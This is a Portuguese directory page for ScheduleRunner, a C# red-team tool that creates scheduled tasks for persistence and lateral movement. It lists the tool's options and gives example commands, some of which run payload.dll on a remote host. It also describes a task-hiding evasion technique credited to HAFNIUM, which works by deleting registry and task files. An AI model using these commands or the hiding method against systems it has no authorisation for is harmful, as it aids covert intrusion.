Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/netero1010/schedulerunner
Mecanismos de PersistênciaEvasão de IDS/IPSMovimento LateralPós-ExploraçãoRed Teaming
GitHubnetero1010/schedulerunner

ScheduleRunner

Uma ferramenta em C# com mais flexibilidade para personalizar tarefas agendadas tanto para persistência quanto para movimento lateral em operações de red team.

Ver Repositório
34748há 1 anoRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

ScheduleRunner - Uma ferramenta C# com mais flexibilidade para personalizar tarefas agendadas tanto para persistência quanto para movimento lateral em operações de red team


Tarefas agendadas são uma das técnicas de ataque mais populares na última década e ainda são comumente usadas por hackers/red teams para persistência e movimento lateral.

Várias ferramentas em C# já foram desenvolvidas para simular o ataque usando tarefas agendadas. Tenho experimentado algumas delas, mas cada uma tem suas próprias limitações na personalização da tarefa agendada. Portanto, este projeto visa fornecer uma ferramenta C# (amigável para execute-assembly do CobaltStrike) que inclua os recursos que preciso e ofereça flexibilidade suficiente na personalização da tarefa agendada.

Captura de tela:

HowTo

Métodos (/method):

MétodoFunção
createCriar uma nova tarefa agendada
deleteExcluir uma tarefa agendada existente
runExecutar uma tarefa agendada existente
queryConsultar detalhes de uma tarefa agendada ou de todas as tarefas agendadas em uma pasta
queryfoldersConsultar todas as subpastas em tarefas agendadas
moveRealizar movimento lateral usando tarefa agendada (criar, executar e excluir automaticamente)

Opções para criação de tarefa agendada (/method:create):

[*] são campos obrigatórios.

Opções para exclusão de tarefa agendada (/method:delete):

[*] são campos obrigatórios.

Opções para execução de tarefa agendada (/method:run):

MétodoFunção
[*] /tasknameEspecificar o nome da tarefa agendada
/folderEspecificar a pasta onde a tarefa agendada é armazenada (padrão: \)
/remoteserverEspecificar o hostname ou endereço IP de um computador remoto

[*] são campos obrigatórios.

Opções para consulta de tarefa agendada (/method:query):

MétodoFunção
/tasknameEspecificar o nome da tarefa agendada
/folderEspecificar a pasta onde a tarefa agendada é armazenada (padrão: \)
/remoteserverEspecificar o hostname ou endereço IP de um computador remoto

[*] são campos obrigatórios.

Opções para movimento lateral com tarefa agendada (/method:move):

[*] são campos obrigatórios.

Exemplo

Criar uma tarefa agendada chamada "Cleanup" que será executada todos os dias às 23:30

ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:daily /starttime:23:30 /program:calc.exe /description:"Some description" /author:netero1010

Criar uma tarefa agendada chamada "Cleanup" que será executada a cada 4 horas em um servidor remoto

ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:hourly /modifier:4 /program:rundll32.exe /argument:c:\temp\payload.dll /remoteserver:TARGET-PC01

Excluir uma tarefa agendada chamada "Cleanup"

ScheduleRunner.exe /method:delete /taskname:Cleanup

Executar uma tarefa agendada chamada "Cleanup"

ScheduleRunner.exe /method:run /taskname:Cleanup

Consultar detalhes de uma tarefa agendada chamada "Cleanup" na pasta "\Microsoft\Windows\CertificateServicesClient" em um servidor remoto

ScheduleRunner.exe /method:query /taskname:Cleanup /folder:\Microsoft\Windows\CertificateServicesClient /remoteserver:TARGET-PC01

Consultar todas as tarefas agendadas em uma pasta específica "\Microsoft\Windows\CertificateServicesClient" em um servidor remoto

ScheduleRunner.exe /method:query /folder:\Microsoft\Windows\CertificateServicesClient /remoteserver:TARGET-PC01

Consultar todas as subpastas em tarefas agendadas

ScheduleRunner.exe /method:queryfolders

Realizar movimento lateral usando tarefa agendada para um servidor remoto com uma conta de usuário específica

ScheduleRunner.exe /method:move /taskname:Demo /remoteserver:TARGET-PC01 /program:rundll32.exe /argument:c:\temp\payload.dll /user:netero1010

Criar uma tarefa agendada chamada "Cleanup" usando a técnica de ocultação de tarefa agendada:

ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:daily /starttime:23:30 /program:calc.exe /description:"Some description" /author:netero1010 /technique:hide

Excluir uma tarefa agendada chamada "Cleanup" que usou a técnica de ocultação de tarefa agendada:

ScheduleRunner.exe /method:delete /taskname:Cleanup /technique:hide

Técnica de Ocultação de Tarefa Agendada

Esta técnica foi usada pelo ator de ameaças - HAFNIUM e descoberta pela Microsoft recentemente. Ela visa tornar a tarefa agendada não consultável por ferramentas e invisível para o Agendador de Tarefas.

Para usar esta técnica, você precisa ter "NT AUTHORITY/SYSTEM" e o ScheduleRunner fará o seguinte para você:

  1. Excluir o valor "SD" de "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\[nome da tarefa]"
  2. Excluir o arquivo XML da tarefa agendada "C:\Windows\System32\Tasks\[nome da tarefa]"

Para remover uma tarefa agendada criada com esta técnica, é necessário adicionar "/technique:hide" no método de exclusão para removê-la corretamente.

Desvantagem desta técnica:

A tarefa continuará em execução até a próxima reinicialização do sistema, mesmo se a tarefa for excluída via registro. Portanto, é melhor não usar esta técnica em servidores para sua operação.

Demonstração

HowTo

Biblioteca e Referências Utilizadas:

BibliotecaLink
TaskSchedulerhttps://github.com/dahall/TaskScheduler
ReferênciaLink
SharpPersisthttps://github.com/mandiant/SharPersist
Técnica de ocultação de tarefa agendadahttps://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/
Baixar ferramenta
MétodoFunção
[*] /tasknameEspecificar o nome da tarefa agendada
[*] /programEspecificar o programa que a tarefa executa
[*] /triggerEspecificar o tipo de agendamento. Os valores válidos incluem: "minute", "hourly", "daily", "weekly", "onstart", "onlogon" e "onidle"
/modifierEspecificar com que frequência a tarefa é executada dentro do seu tipo de agendamento. Aplicável apenas para tipos como "minute" (ex.: 1-1439 minutos), "hourly" (ex.: 1-23 horas) e "weekly" (ex.: mon,sat,sun)
/starttimeEspecificar a hora de início para o tipo diário (ex.: 23:30)
/argumentEspecificar o argumento de linha de comando para o programa
/folderEspecificar a pasta onde a tarefa agendada é armazenada (padrão: \)
/workingdirEspecificar o diretório de trabalho no qual a tarefa agendada será executada
/authorEspecificar o autor da tarefa agendada
/descriptionEspecificar a descrição da tarefa agendada
/remoteserverEspecificar o hostname ou endereço IP de um computador remoto
/userExecutar a tarefa com uma conta de usuário específica
/techniqueEspecificar técnica de evasão:
- "hide": Uma técnica usada pelo malware HAFNIUM que oculta a tarefa agendada da consulta de tarefas

[!] https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/
[!] Esta técnica não suporta execução remota devido ao privilégio do registro remoto. Requer "NT AUTHORITY\SYSTEM" e a tarefa continuará em execução até a reinicialização do sistema, mesmo após a exclusão da tarefa
MétodoFunção
[*] /tasknameEspecificar o nome da tarefa agendada
/folderEspecificar a pasta onde a tarefa agendada é armazenada (padrão: \)
/remoteserverEspecificar o hostname ou endereço IP de um computador remoto
/techniqueEspecificar quando a tarefa agendada foi criada usando técnica de evasão:
- "hide": Excluir tarefa agendada que usou a técnica de "ocultação de tarefa agendada"

[!] A exclusão requer "NT AUTHORITY\SYSTEM" e a tarefa continuará em execução até a reinicialização do sistema, mesmo após a exclusão da tarefa
MétodoFunção
[*] /tasknameEspecificar o nome da tarefa agendada
[*] /programEspecificar o programa que a tarefa executa
[*] /remoteserverEspecificar o hostname ou endereço IP de um computador remoto
/triggerEspecificar o tipo de agendamento. Os valores válidos incluem: "minute", "hourly", "daily", "weekly", "onstart", "onlogon" e "onidle"
/modifierEspecificar com que frequência a tarefa é executada dentro do seu tipo de agendamento. Aplicável apenas para tipos como "minute" (ex.: 1-1439 minutos), "hourly" (ex.: 1-23 horas) e "weekly" (ex.: mon,sat,sun)
/starttimeEspecificar a hora de início para o tipo diário (ex.: 23:30)
/argumentEspecificar o argumento de linha de comando para o programa
/folderEspecificar a pasta onde a tarefa agendada é armazenada (padrão: \)
/workingdirEspecificar o diretório de trabalho no qual a tarefa agendada será executada
/authorEspecificar o autor da tarefa agendada
/descriptionEspecificar a descrição da tarefa agendada
/userExecutar a tarefa com uma conta de usuário específica